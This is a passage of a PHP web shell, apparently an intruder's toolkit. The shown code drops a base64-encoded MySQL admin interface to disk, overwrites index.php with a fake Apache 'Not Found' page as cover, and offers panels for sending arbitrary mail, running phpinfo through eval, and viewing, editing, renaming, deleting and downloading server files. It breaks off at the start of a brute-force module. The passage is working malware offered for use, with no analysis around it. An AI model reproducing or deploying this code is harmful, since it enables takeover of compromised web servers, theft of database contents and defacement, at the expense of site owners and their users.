gKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoJJGtleSA9ICIiOw0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7DQoJCQllbHNlDQoJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCX0NCgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCXZpZXdEYXRhKCAiIiApOw0KfQ0KDQpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpDQp7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwkZGJuYW1lOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIsJG15c3FsSGFuZGxlKTsNCgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lkLCBNWVNRTF9BU1NPQyk7DQoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iIC4gJHRhYmxlZHVtcFsnQ3JlYXRlIFRhYmxlJ10gLiAiO1xuXG4iOw0KCWVjaG8gJHRhYmxlZHVtcDsNCgkvLyBnZXQgZGF0YQ0KCSRyb3dzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHRhYmxlIiwkbXlzcWxIYW5kbGUpOw0KCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cywgTVlTUUxfTlVNKSkNCgl7DQoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOw0KCQkkZmllbGRjb3VudGVyID0gLTE7DQoJCSRmaXJzdGZpZWxkID0gMTsNCgkJLy8gZ2V0IGVhY2ggZmllbGQncyBkYXRhDQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQ0KCQl7DQoJCQlpZiAoISRmaXJzdGZpZWxkKQ0KCQkJew0KCQkJCSR0YWJsZWR1bXAgLj0gJywgJzsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZmlyc3RmaWVsZCA9IDA7DQoJCQl9DQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCgkJJHRhYmxlZHVtcCAuPSAiKTtcbiI7DQoJCWVjaG8gJHRhYmxlZHVtcDsNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KCWlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiICl7DQoJCWhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogZmlsZW5hbWU9JHRhYmxlbmFtZS5zcWwiKTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOw0KCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1lKTsNCgkJZWNobyAiXG5cblxuIjsNCgkJZWNobyAiXHJcblxyXG5cclxuIyMjICR0YWJsZW5hbWUgVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJZXhpdDsNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoJCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIsJG15c3FsSGFuZGxlKTsNCgkJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnlfaWQsIE1ZU1FMX05VTSkpDQoJCXsNCgkJCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkcm93WzBdKTsNCgkJCQllY2hvICJcblxuXG4iOw0KCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCQkJZWNobyAiXG5cblxuIjsNCgkJfQ0KCQllY2hvICJcclxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOw0KCQlleGl0Ow0KCX0NCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOw0KCQllY2hvICI8aHI+XG4iOw0KCQllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGJvcmRlcj0wPlxuIjsNCgkJZWNobyAiPHRyPlxuIjsNCgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJCWVjaG8gIjx0aD4iLiRmaWVsZC0+bmFtZS4iPC90aD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCgllY2hvICI8aHI+XG4iOw0KCWVjaG8gIjxzcGFuIGNsYXNzPVwibmV3XCI+WyRVU0VSTkFNRV08L3NwYW4+IC0gXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249YkdsemRFUkNjdz09Jz5EYXRhYmFzZSBMaXN0PC9hPiB8IFxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUgTGlzdDwvYT4gfCAiOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMnPlV0aWxzPC9hPiB8XG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOw0KfQ0KLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycsIDApOw0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($sqlshell));
fclose($file);
chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite( $indexshell, base64_decode($data));
fclose($indexshell);
echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
if(isset($_POST['mail_send'])){
$mail_to = $_POST['mail_to'];
$mail_from = $_POST['mail_from'];
$mail_subject = $_POST['mail_subject'];
$mail_content = magicboom($_POST['mail_content']);
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
$msg = "email sent to $mail_to";
}
else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">please back your s4mpakk</textarea>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /> mail to</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /> from</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td> <?php echo $msg; ?></td></tr>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
@ob_start();
eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"<body>")+6;
$akhir = strpos($buff,"</body>");
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
if(is_file($_GET['view'])){
if(!isset($file)) $file = magicboom($_GET['view']);
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
<form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
</form>
</td></tr>
<tr><td>Size</td><td>".ukuran($file)."</td></tr>
<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
<tr><td>Owner</td><td>".$owner."</td></tr>
<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
<tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
<tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
</table>
";
if(isset($_GET['type']) && ($_GET['type']=='image')){
echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
}
elseif(isset($_GET['type']) && ($_GET['type']=='code')){
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
}
else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
}
}
elseif(is_dir($_GET['view'])){
echo showdir($pwd,$prompt);
}
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
if(isset($_POST['save'])){
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w")){
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
else $msg = "failed to save";
@fclose($filez);
}
else $msg = "permission denied";
}
if(!isset($file)) $file = $_GET['edit'];
if($filez = @fopen($file,"r")){
$content = "";
while(!feof($filez)){
$content .= htmlentities(str_replace("''","'",fgets($filez)));
}
@fclose($filez);
}
?>
<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
<center>
<?php
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'You Have been Log Out ';}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
<?php
//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By X'1n73ct
*/
@set_time_limit(0);
@error_reporting(0);
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){
$e = explode("
